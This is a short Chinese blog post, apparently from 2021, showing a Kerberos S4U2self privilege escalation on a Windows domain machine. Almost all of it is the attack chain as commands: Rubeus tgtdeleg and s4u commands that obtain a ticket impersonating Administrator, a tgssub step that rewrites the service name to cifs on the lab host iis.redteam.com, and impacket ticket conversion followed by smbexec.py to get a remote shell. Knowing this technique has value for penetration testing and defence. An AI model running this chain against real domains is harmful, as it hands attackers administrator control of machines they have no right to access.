【域渗透】利用S4U2self提权

一、利用场景

当获取域内机器权限,权限为iis、Network Service等权限,就可以利用S4u2Self进行权限提升,尽管要在帐户上专门启用约束委派才能使用S4U2proxy 跨系统“使其工作”,但任何具有 SPN 的主体都可以调用 S4U2self去获取针对自身的高权限票据。

二、环境演示

使用Rubeus.exe tgtdeleg /nowrap获取当前机器账户的可用的TGT

然后利用上一步骤获取到的tgt,调用S4U2self来为用户 Administrator请求票证

Rubeus.exe s4u /self /nowrap /impersonateuser:Administrator /ticket:base64

 

查看服务名可以看到服务名为机器账户,没有颁发有效的spn

rubeus.exe describe /ticker:base64

SPN 不是票据中受保护的一部分,可以简单地更改它Rubeus 提供了一个命令tgssub来执行此操作

Rubeus.exe tgssub /altservice:cifs/iis.redteam.com /ticket:base64

将获取到的Base64EncodedTicket,进行base64解码 cat base64.kirbi | base64 -d  >ticket.kirbi

使用impacket,将它转换为linux下可用的票据:python ticketconverter.py ticket.kirbi ticket.ccache

导入:export KRB5CCNAME=ticket.ccache

python3 smbexec.py -no-pass -k -debug iis.redteam.com

参考链接:

https://cyberstoph.org/posts/2021/06/abusing-kerberos-s4u2self-for-local-privilege-escalation/

 

posted @ 2021-10-22 09:17  aoaoaoao  阅读(1013)  评论(0编辑  收藏  举报